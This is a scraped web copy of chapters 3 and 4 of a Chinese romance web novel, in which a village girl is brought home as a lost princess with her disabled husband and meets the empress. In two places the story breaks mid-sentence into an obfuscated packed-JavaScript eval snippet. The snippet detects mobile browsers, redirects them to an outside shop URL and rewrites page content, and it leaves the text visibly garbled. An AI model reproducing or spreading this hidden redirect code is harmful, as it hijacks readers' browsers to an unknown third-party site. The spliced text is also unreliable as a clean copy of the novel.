《皇女翠花》 3. 第三章 女皇身边不可能留有蠢人,丫鬟心里同样明镜似的。 既然柳清姿已点头允准淮澈同行返京,那这位日后便是要随公主入府的。 无论是通房面首还是贴身侍女,说到底都是伺候主子的下人,她既想讨主子的欢心,自然没道理与这种能在公主枕边递话的人结下梁子。 翠花虽然还看不透这些人心中的弯弯绕,但瞧见柳清姿借入关后言语便利为由头,吩咐驿丞为淮澈备下了更宽敞舒适的马车,眼角眉梢还是漾开了欢喜神色。 尤其当她发觉,自己再想悄悄与淮澈多些亲近的时候,无论丫鬟亦或柳清姿等护卫,皆不再如先前那般明拦暗阻,顾左右而言他,清透乌眸中的笑意便更是溢于言表。 淮澈仍做人留一线,并也未点破那所谓的“不合皇家礼制”,不过是柳清姿施压之下,他信口拈来的托辞。 翠花则主动向柳清姿表了态:“柳大人放心,我与相公断不会做太出格的事,叫你们为难,只是他腿疾严重,行动不便,我就多陪陪他。” 她开始有意无意地向柳清姿等女官,以及随侍丫鬟宝钿施放善意。 虽一时还摸不透她们言行深处的门道,可连日相处下来,她隐约觉察出了她们都希望被她以怎样的态度对待。 这日途中歇脚,她又轻手轻脚地登入淮澈的马车,凑到他跟前,稚意而得意地悄声显摆:“我都瞧出来了,她们其实都盼着能讨我欢心,巴不得与我更亲近些。” 淮澈漫不经心地抬眸,入目便是小娘子“求夸奖”的神情,眼底略过一丝复杂。 迟疑片刻,终是只温浅一颔首:“你是公主,是他们的主子,偏要和你作对,能落到什么好处?” 翠花将他话中的哄溺全然当作赞许听,骄傲地挺直腰身,丰盈的胸脯随之微微起伏:“所以我得赏罚分明,谁对你好,我就礼尚往来地亲近他,谁欺负你,我断不给他好脸色。” 淮澈听得太阳穴微微一跳,劝教的话语在唇边转了个圈,到底咽了回去。 心道凡事皆需循序渐进,且由她慢慢耳濡目染是原因之一,更是目光不由自主被她胸前的颤动所牵,根本不忍扫她的兴。 车马入了梁国疆域,道路平坦宽阔,更有得到消息的地方官员接力相送,柳清姿多择官路带他们前行。 这便让之前连镇子都没出过的翠花,真正见识到了什么叫烟火繁盛,每至一处都忍不住掀帘张望,惊叹于目之所及的楼阁林立,市集喧嚷。 渊梁二国共分中原,渊居北地,多高原平野,四季分明,土地肥沃,百姓以农为本,多事耕种,南国梁地则水网纵横,气候温润。 然而山河形胜虽有别,真正定夺百姓生计丰俭的,却还是御宇之君的贤明勤怠。 翠花早听闻女皇治下的梁地富庶,今日亲眼得见,又得知那位英明君主竟是自己的娘亲,心头不禁涌上与有荣焉的骄傲情愫。 这份自豪催生了好奇,她开始时不时向柳清姿和宝钿探问关于女皇娘亲的事情。 和安居乐业的梁国臣民一样,她们提起女皇,都是发自内心的尊崇。 女皇对柳清姿有知遇之恩,她幼年受犯下重罪的外祖受累,随母没入掖庭,是女皇见她聪慧,不仅免了她和母亲的贱籍,还留她在身边重用。 柳清姿道:“女皇陛下勤政为民,知人善任,宽严并济,大梁有陛下,是国运所钟,臣等能侍奉陛下,是毕生之幸。” 翠花仰着脸,很捧场地“哇”了一声,眼中闪着钦佩的光。 她认识的字两手可数,其实没太听懂那几个文绉绉的成语,但她明白那都是夸她娘亲的好词,所以听得心中甜暖。 不似柳清姿,仅比翠花多认了些字的丫鬟宝钿则回答得更朴实,也更熨帖翠花的心坎儿:“公主生得极像女皇陛下。” 宝钿这话绝非阿谀讨好。 除却眉形和耳廓形肖生父,翠花的容貌俨然是女皇的翻版。 甚至比那位已称得上极像女皇的大公主还要神似,正因如此,柳清姿等人当初一见她,便几乎即刻认定了她的身份,这就是他们流落民间的二公主。 翠花喜滋滋地弯起朱唇。 她尚不懂天家父母总会对更像自己的子女多一份偏爱,只是越近皇城,对“有了娘亲”这件事的实感越强。 被说像娘亲,于她是顶顶中听的美言。 心情轻快飞扬,她与宝钿的话也更密了。 纤指从手边锦盒中捏起一颗剥好的剔透龙眼,她打开了话匣子,说起自己在渊国小镇长大的往事:“其实早些年,渊国也挺安生的,赋税轻,匪患少,西邦的人也安分,我们的镇子依山傍河,日子不富贵,但百姓都安居乐业的。” 宝钿接口道:“只能说大渊的百姓福薄,那煊王眼瞧着把他皇兄留下的烂摊子收拾利落了,小皇帝也被他架空了十年,偏偏就是差一口气,没坐上那位子。” 宝钿见自家公主对这些过去不敢妄论的皇家秘辛有兴趣,便一边熟练地剥着新果,一边同她多说了一些。 既已身在梁国,这邻国的轶事,饶是平民百姓拿来当谈资,也无需过多顾忌。 历来谋篡者多遭骂名,渊国这位摄政十年的煊王却是例外。 毕竟其兄大兴酷吏,好大喜功,在位时期曾三度劳民伤财地封禅,其侄又生性懦弱,能力平庸,百姓唯在他柄政的十年间得以喘息。 什么法统名位,在老百姓眼中都没有民康物阜来得实在。 宝钿道:“公主有所不知,那小皇帝荒唐更胜其父,就在我们动身来寻您前后,竟下旨追谥煊王为帝了。” 翠花愕然,杏眼圆睁:“煊王两年前薨,不是被他定了谋逆大罪吗?” 说好的天子一言九鼎,金口圣言呢? 况且她虽不懂皇家规制,却在经由说书先生夸张演绎的本子里,都没听过皇帝之位还能“追”的。 宝钿轻笑,带几分讥诮:“所以才说他荒唐,没了煊王威慑,他应对西邦全靠割地赔款,国内又起义不断,皆打着为他错杀忠良,要为煊王平反的旗号。” 翠花听得哑然,半晌才讷道:“那他给煊王追个皇帝名号有什么用呀,莫不是以为只要自己打自己的脸足够快,别人的巴掌就来不及落下来了?” 宝钿亦是无语:“许是觉得对内对外,煊王的法统都比他父皇的更管用吧,生怕别人对不上号,还直接从煊王封号中取了音,追谥的渊宣帝。” 七月初七,行至鄂地,正逢梁国的乞巧佳节。 按照梁国传统,这一日向来是女儿家极为看重的日子。 鄂地是梁国仅次于都城湘京的繁华地界,逢至节庆自然也热闹非常。 城内与城郊皆有庆典,即便急着赶路,这一日也走不了多远,柳清姿问过翠花的意思,便决定午后入城歇息。 翠花对节日的诸般热闹满怀兴致,休整半日,恰可赶上晚间最是喧腾的市集和灯会。 一路有地方官员殷勤打点,如今的翠花即便不言明公主身份,也俨然是一副富家千金的显贵模样了。 她本就生得貌美,往日长年劳作于田间市井,风吹日晒也不见黑,粗布荆钗仍难掩姝色,此时绫罗裹身,珠翠轻点,更似明珠拂去尘,金枝归杏梁,通身气派,哪里还寻得见半分农家女影子? 柳清姿亲自挑选了两名行事机警的女卫,皆作丫鬟打扮,与宝钿一并随侍左右。 鄂地民风淳朴,治安稳妥,这般安排足以护她周全。 夜市如昼,人流如织。 翠花一路走走停停,瞧什么都觉着新鲜,遇见喜欢的便买下,从未如此自在随心地过节。 不过她也没忘出门前相公的叮嘱,路过一家木料铺子时,虽见铺面装点不似旁处讨女儿家欢心,仍迈步走了进去。 店主是个三十出头的年轻男人,似是不满娘子只带着孩子们出门逛节,却独留他看店,正与店里小厮抱怨。 “夫人真是钻钱眼儿里了,这日子谁还来挑木料,非把我摁在这儿。”年轻男人边说边叹,“自己倒打扮得跟个小姑娘一样,也不怕被哪个后生塞了香囊……” 梁国商事繁盛,风气开化,青年男女间互表心意也往往颇为直率。 乞巧之夜,若是遇到心仪之人,赠香囊以诉情肠,是司空见惯的事情。 翠花美得出挑,一路行来着实没少惹得年轻男子侧目。 但她衣着华贵,身后随行的“丫鬟”都个个气度不凡,偶有跃跃欲试者,遭女卫冷冷一瞥,便也讪讪退却了。 听得店主一番抱怨,翠花似有所触,思索片刻,才走到案前,低头挑选起木料来。 宝钿微讶,暗忖公主竟还对这些有兴趣,轻声说道:“小姐若喜欢木器,可先选好料子,待回京后,奴婢寻些巧匠为您制作。” 外出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198895|197141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不便自称“奴婢”,她也将翠花改口唤作“小姐”。 翠花却摇头:“我除了做豆腐,就还比较擅长拿木料打磨些小玩意儿,想给娘亲做把慈祥梳。” 从前她孝顺爹的法子质朴简单,无非多干活多赚钱,再去镇上给爹买好吃的好喝的。 可她女皇娘亲什么珍馐美食没见过吃过,甚至她一路花销的银钱,也都是女皇娘亲批下来的,因此她原是不愿班门弄斧,拿娘亲的钱去备什么献礼。 倒是她相公一语给她提了醒儿,女皇娘亲固然什么都不缺,但总没收过她亲手所做之物。 归根结底,她送什么不紧要,紧要的是她那份心意。 女皇从未放弃地寻了她十八年,定是常常思念她的,如今迎她回宫,心中未必不忐忑,怕失散多年的女儿与自己不亲。 若她亲手制物表达心意,安抚娘亲,如何会不令女皇心悦? 翠花当时一听,立时恍然:“我懂了!只是不知宫里有没有磨盘,如果有,我现场给娘亲表演空手推石磨和卤水点豆腐!” 结果就见她相公磨了一下后牙:“……我看你像豆腐,你全家都像豆腐。” 她相公的脾气一向极好,温文尔雅的一个人,在她面前更是几乎百依百顺。 有时被她闹得实在无奈,至多带着点阴阳怪气的情绪,自己闷声嘀咕一句,都不似木料铺老板一般,直白将埋怨的话说与她听。 回去时候,翠花特意绕到先前尝过的一家巧饼摊子,令宝钿和两个女卫在旁等候。 她买了花生红糖和芝麻大枣两种馅的,请摊主多包了两层油纸,打算带回去给相公。 她想,木料铺老板不过被娘子撇下一晚,已攒了满腹牢骚,而她相公碍于腿疾,每次她出门,都只能独自闷在房中苦等,想来更是会心情烦闷。 力所能及处,她也甘愿费些心思,将他哄得多开心几分。 柳清姿与宝钿等人见惯了她对淮澈体贴,早已予以默许。 于是她回到鄂地衙署,便径直去了淮澈房中。 他果然在等她,人没在床上,腿上的夹板也没拆卸,应该才净过面,鬓边发丝还沾着湿润水汽。 虽腿疾严重,倚靠夹板和拐杖行走十数步已是极限,他日常却几乎不劳旁人帮衬,生活自理之能,甚至令柳清姿等人咋舌。 当然这也得益于他与翠花清贫相依的两年,本也不可能请的起人细致入微地伺候帮衬。 翠花走到窗边,将大敞的支窗虚掩几分,轻声道:“乞巧节要吃巧饼,我都尝了一遍,给你带了两种最好吃的馅儿。” 淮澈淡淡瞥了一眼桌上的油纸包:“我漱过口了。” 言下之意,是没有意愿再进食。 事实上他明明该与翠花一样未曾享过什么富贵,如今得见各色精致饮食,却仍表现得兴致缺缺,更是叫柳清姿等人咋舌。 翠花柳眉一扬,不肯由他:“那就每样尝半块,吃完再漱一回便是。” 淮澈没动,却疏尔眼前一晃,定睛望去,但见自家小娘子纤白莹润的指尖正拈着一只香囊,引诱似的在他三步之外轻晃。 少女的嗓音软如掺蜜,眼尾染着灯烛的暖意,循循善诱:“也给你带了礼物,乞巧节的习俗,女儿家会向心仪的男子赠香囊,女皇娘亲珍惜我的心意,你不珍惜吗,你吃得我满意了,我才给你。” 淮澈仍是不动,深眸凝着她,眼底似有笑意:“我不吃,你给心上人的心意便不是我的了?” 他显然甚是了解他的小娘子,纵使今日赌气不送,最多不出三日,自会寻个由头,把香囊再塞过来。 但将他招赘两载,翠花又何尝不了解他? 当下也不急,只红唇微弯,慢悠悠地将那香囊顺着衣襟,塞入了胸前丰盈的沟壑之间,仰起脸,眼波带着毫不掩饰的狡黠与挑衅:“哦,那今晚……你便不急着要了?” 淮澈:“……” 伴随呼吸几不可察地一滞,他的目光掠过她颈间细腻如瓷的肌肤,和那抹若隐若现的绣囊颜色,喉结微动。 僵持片刻,他终是败下阵来,长指取过桌上尚且温热的油纸包。 死过一回的人,连捡回来的这条性命都随时可弃,却唯独她,是他无论如何也割舍不下的牵念。 七月十一,处暑。 车马终抵湘京,流落民间十八年的郦姝公主,正式回朝。 4.第四章 梁国皇族姓郦,与史书上更迭的历代王朝一般,原本也只传皇子承继大统。 直至皇位传至第三代,老皇帝一生专情,偌大后宫仅立一后,偏偏皇后体弱,子嗣单薄,待到中年薨逝,老皇帝终日思妻心切,也感大限将至,筹措储君人选时,膝下唯有一位公主。 公主多年辅政,文韬武略丝毫不逊于男子,老皇帝遂破旧立新,改祖制,立新规:自兹以后,大梁储君,不同男女,无论嫡庶,唯贤是举,以固江山永祚。 当世在位的女皇,则是大梁第六帝,也是第二位女帝。 男女皆可为政的风气经由四代君主治下的上行下效,如今大梁女子亦可参与文武科举,与男子同朝为官。 翠花久居渊国边陲,对梁国制度的这些了解,大多来自此番进京途中,柳清姿与宝钿等人的讲述。 至于更深层的,关乎皇家内情之事,身为人臣子民,她们自然不便多言。 翠花倒也想得开,她们说多少她就听多少,她们不便言说之处,她也不会巧言刺探。 这份颇具大智若愚意味的通透,某种层面而言着实令柳清姿等人意外。 尤其眼看到了皇城边,她还仍然吃得下睡得香,定力也堪称一等一的级别,只叫全然不知淮澈每日除了情爱,也不少与翠花谈论其他的他们萌发感慨,公主不愧是天子血脉,天然便有过人之处。 进宫面圣的前夜,月色漫过窗棂,柳清姿避开众人,私下寻到翠花,低声叮嘱:“明日觐见女皇陛下,若陛下不问,公主切记莫要主动提及婚配与夫君之事。” 柳清姿自是不敢在公主的婚姻大事上隐瞒不报,但相处这些时日,她又确是存了几分回护之心,想为公主指一条能将淮澈稳妥留在府中的路径。 翠花闻言,眼睫轻轻颤动了一下,随即了然:“我明白,若主动说及相公的寒微出身和腿疾,女皇娘亲定然觉得我受了天大的委屈,柳大人放心,我晓得轻重。” 莫说是九五之尊的女皇,就是她那卖了一辈子豆腐的爹爹,若她捡回淮澈时尚且在世,听闻她救活他后还动了要将其招赘的心思,也定会要她去河边空空脑子里的水。 爹爹从不盼她大富大贵,却时常懊悔自己眼盲体弱,累她小小年纪便要帮忙扛起生计,又怎么舍得从小苦到大的女儿伺候完老父,再招个也要她伺候的相公? 柳清姿颔首:“下官会禀明陛下,公主确已在民间成婚,但您与所托之人皆深知如今身份悬殊,再留他在身边,仅是顾惜旧情,不忍弃之。” 翠花点头:“一切听凭柳大人安排。” 她心下清明,既然柳清姿已将淮澈带入皇城,若再因此触怒女皇,柳清姿的处境只会比他们更不好过。 依梁国祖制,皇女十三及笄,皇子十五束发后方可受封开府。 翠花今年已满十八,女皇怜惜她流落民间多年,恨不得将她过往错失的荣华一口气补偿回来,早已为她备下了规制显赫的公主府。 柳清姿亦将这份荣宠的重量告知翠花:“陛下亲自选址督建,三殿下去年受封,府邸尚不及您的一半大。” 因女皇思女心切,盼望团聚,翠花仅在府门前与这偌大的宅邸打了个照面,便又匆匆入宫去了。 淮澈则随宝钿及几名护卫留下,宝钿和护卫皆是女皇的旨意,唯恐她初入府邸人生地不熟,苦于诸多不适应之处,是以留下她差遣顺手的人随侍。 此举更让翠花吃下了一颗定心丸,虽然方式和态度都与爹爹不同,但女皇娘亲想来也是十分疼爱她的,并非只出于皇家体面做样子,而是会真切站在她的立场,细细为她考量。 女皇体恤,不想天家威严吓到这个刚刚寻回的女儿,因此未在庄严肃穆的正殿召见,只将母女重逢之处定在御花园。 时值夏日晨光渐炽,透过古柏交错的枝叶,在青石径上筛落出碎金似的光点。 晨露未晞,悬于牡丹娇艳的花瓣边缘,恍若美人垂泪,我见犹怜。 汉白玉的拱桥之下,初绽的粉荷亭亭,偶有锦鲤跃出水面,漾开圈圈涟漪,撞上雕花石栏,复归宁静。 翠花正惊叹于这片人间仙境般的秾丽雍和中,嗅着风里浮动的栀子甜香,忽见一队宫人捧着冰鉴垂首缓行,裙裾拂过卵石拼嵌的万福纹,引一道端丽威仪的身影来到近前。 翠花尚在襁褓时便遗失民间,对娘亲是没什么记忆的。 可当她抬眸,望见那张果然与自己极为相似的面容时,一种源于血脉深处的亲近感还是骤然奔涌,冲得她鼻尖发酸,朱唇轻颤,不觉间,一声“娘”已脱口而出。 入宫前柳清姿教过她一些基本的规矩,女皇面前当称“母皇”,行万福跪拜礼,此刻却完全被她抛诸脑后。 她只半晌怔望着未曾谋面的娘亲,望着望着,眼眶便也热了。 而女皇苦寻她十八年,见她如此情真意切,又怎么会埋怨长于民间的女儿不通宫规礼法呢? “是我的女儿,是我的姝儿。”姝儿是女皇取给翠花的乳名,她根本不要翠花跪拜,一双执掌江山的手微颤着握在翠花手上,许久舍不得放开,“离开娘时才足三个月,都长这么大了,我儿受苦了。” 女皇摸到翠花乍然看去纤白莹润的十指上,指腹处均被石磨农具打出了薄茧,再侧目瞧见柳清姿适时跪呈上的,由女儿亲手打磨的慈祥梳,不禁更加动容。 几乎不加迟疑地,本来要施给翠花的赏赐翻了一番儿,三千两银子直接批到她府上,不仅是翠花过去卖几辈子豆腐都赚不来的,即便之于受封的公主亲王,也相当于无功无过时的一年俸禄。 女皇无疑喜欢极了翠花这个失而复得的女儿。 原本只想留她在宫中三日,连教导宫规礼仪的老师都已备下,末了却足足留了八日,非但将那些会害女儿劳神费心的课业搁置到了九霄云外,更时常被翠花哄得笑意盈眸。 翠花本就性子纯善讨喜无疑是重要原因,更得益于淮澈一路潜移默化的点拨,让她能在与女皇相处时始终恰到好处地拿捏分寸,既不失尊敬,又带着民家女孩儿的天然娇憨。 这八日,赏赐也如流水一般,不断往翠花暂居的宫苑送。 绫罗绸缎,珠宝古玩……可谓只有翠花想不到,没有她女皇娘亲送不到。 起初几日,翠花是满心欢喜地感动于娘亲厚爱,也惊叹于这些从未见过的富贵物什。 到了后来,感动当然仍是感动的,却架不住她不仅不认几个字,也算不清太复杂的数目,再面对起那些个个需要登记造册的珍玩,整个人都有点麻,索性全交由宫人,让他们先行送回公主府的库房中。 翠花想到自招赘淮澈后,家中进项开支便全由他一手打理,心头不由也为他泛起一丝甜蜜的烦恼:“从前是银钱紧巴,需得相公精打细算,才能勉强攒下些许结余。如今银钱多得都不知如何花用了,也不知他是不是同我一样,算着算着便头晕犯蒙了。” 正如柳清姿所言,若仅叫女皇知晓她曾在民间招赘,听得柳清姿笃定淮澈是个安分守己的,便当真未再就此事过问什么。 好不容易寻回的掌上明珠,顾念旧情,在府中留用个通房面首罢了,这于女皇看来,实在算不上什么不得了的事情。 女皇自个儿后宫可是一后四妃编满,再往下的男嫔,御夫更是十数不止。 女儿心善,舍不得糟糠情分,便同曾在路边捡回只小猫小狗,如今仍得不得丢弃一样。 她疼女儿还来不及,又怎会明知女儿会因此沮丧,还非要将那陪伴她两年的小宠儿逐走呢? 只是以翠花那点浅薄阅历,若柳清姿不把话直白着说,她自然想不通女皇之所以将她招赘淮澈一事轻轻放过,竟会出于这般缘由。 她只晓得十五,十六这两日月亮圆得惹人相思,如今虽说有了娘亲疼惜,每日都像是浸在蜜罐里,却还是想爹爹也想相公了。 留在宫中陪伴女皇的第七日,翠花在晚膳时分,陪女皇娘亲饮了几盏粤地新贡的青梅酒。 她平日是那种大大咧咧的姑娘,哪怕日子过得清苦些,只要苦中尚有甜,就仿佛不识愁滋味,除非沾了酒,几杯下肚便会变了性情,格外容易伤情怀远。 回到寝院,由宫女伺候着沐浴更衣后,她仍被酒意蒸得双颊发烫,躺在象牙床上翻来覆去半个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209176|197141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰也毫无睡意,索性趿了绣鞋,披一件软罗薄衫,走到暂住的宫苑附近,拣了处凉亭坐下看月亮。 好消息是十七的月亮没有十五十六那么圆满,坏消息是月亮圆也罢,缺也罢,都不耽误她一样想爹爹想相公。 想爹爹也还好,爹爹苦了一辈子,却始终厚道待人,是乡里乡亲公认的老好人,既然能保佑她先捡到相公,又寻回娘亲,想必在阴司也是福泽深厚,被阎王爷封了个顶风光的大官做。 倒是相公更加令她揪心,自打她将他捡回家来,二人还从来没有分开过这么久。 偏偏他那人瞧着性子淡,骨子里却执拗得很,占有欲强不说,又格外依赖她。 那是他才被她捡回来三个多月时发生的事,彼时他好不容易捡回一条性命,伤势也将将好转。 清晨时分,她照例随村西卖包子的王大哥夫妇去镇上赶集。 那日生意好,她的豆腐摊收得早,听说茶馆新来了个说书先生,便把空豆腐车托给王大哥夫妇照看,自己带着他们家八岁的狗娃,挤进茶馆听书。 一大一小两个孩子听着听着就入了迷,王大哥和王大嫂见惯不怪,先帮她把豆腐车推回村里,娃娃仍交给她带着。 翠花便和狗娃一直在茶馆待到晌午,听够了故事,才慢悠悠地晃回村,不料她送回狗娃推开家门,竟看到了家中恍若厉鬼索命的景象。 她那本该瘫在床上的相公,竟生生把自己翻了下来,用一双手臂拖着毫无知觉的双腿,从床榻一路爬至门口。 十几步的距离,他磨破了掌心,膝盖连着小腿更是皮开肉绽,加之腹间未愈的伤口再度崩裂,浑身是血,在所过之处留下一道深深浅浅的血痕。 他抬头看她,眼底猩红,声音嘶哑:“你若厌了我,后悔救了我,直说便是,不必躲我,更不必躲到外头……我不碍你的眼,就算死,也不会死在你面前。” 话虽说得决绝,可二人的第一次,也正是发生在那一日。 她急着给他清洗伤口上药,他执意不肯,喂饭递水,也紧抿着唇不肯张口,她软语哄了半晌,他的脸色仍不见缓和,她无可奈何,正欲起身去看灶上煎的药,他却误以为她又要走,猛地攥住她的手腕…… 他自称曾是书生,缠绵病榻三个多月,鬼门关前走过一遭,瘦得形销骨立。 可那日力气却大得惊人,五指如铁钳般箍住她,任她如何挣扎也甩不脱,推搡时翠花的手无意擦过他腿间,顿时臊得满脸通红。 肌肤相亲前,他第一次对她谈起自己:“归绥人士,年二十八,二岁丧父,十二岁亡母,如今孑然一身,未曾婚配……” 原也是个苦命人,见她当真不嫌,反执意招赘,手头拮据无力办礼的二人,索性借着情浓,提前洞了花烛。 他性子再要强,再想方设法极尽自理之能,也终究双腿残疾,行走艰难。 翠花出神地想:自己不在的这几日,他的腿疾可曾发作?本就身子弱,梁国与渊国水土迥异,又可曾害病?若真又疼又病,以他那性子,定不会对旁人言语,旁人无从得知,想来更不可能主动为他抓药煮药。 本就是想睡却睡不着才出来闲逛,此刻翠花长发未绾,身上也只着一件极薄的纱罗睡裙,夜风拂过,衣袂轻盈如雾。 并不是她粗鄙妄为,当了公主仍不顾体统,这般衣衫不整就敢四处走动。 实是女皇娘亲为她设想得过于周全,唯恐旁人冲撞了她,便特意拨了一处独门独院的宫苑给她。 院门外时刻有女卫把守,跟孙悟空为唐僧画下的护身圈一样,只要她不踏出去,除非女皇亲临,否则谁也进不来。 因此,当身后响起脚步声时,她只当是久候她不归,故而担忧寻来的宫女或女侍。 不料她匆匆拭了下眼角,回身望去,却见一道清隽身影静立在凉亭另一端。 溶溶月色下,那人一身月白锦袍,倚栏而立,身姿如修竹临风,眉峰似远岱,眼尾噙春水,气质温润清朗至极。 而待他看清翠花的面容,竟也蓦地一怔,一句微带颤音的“太女殿下”脱口而出,惊得翠花不知所措,下意识后退了半步。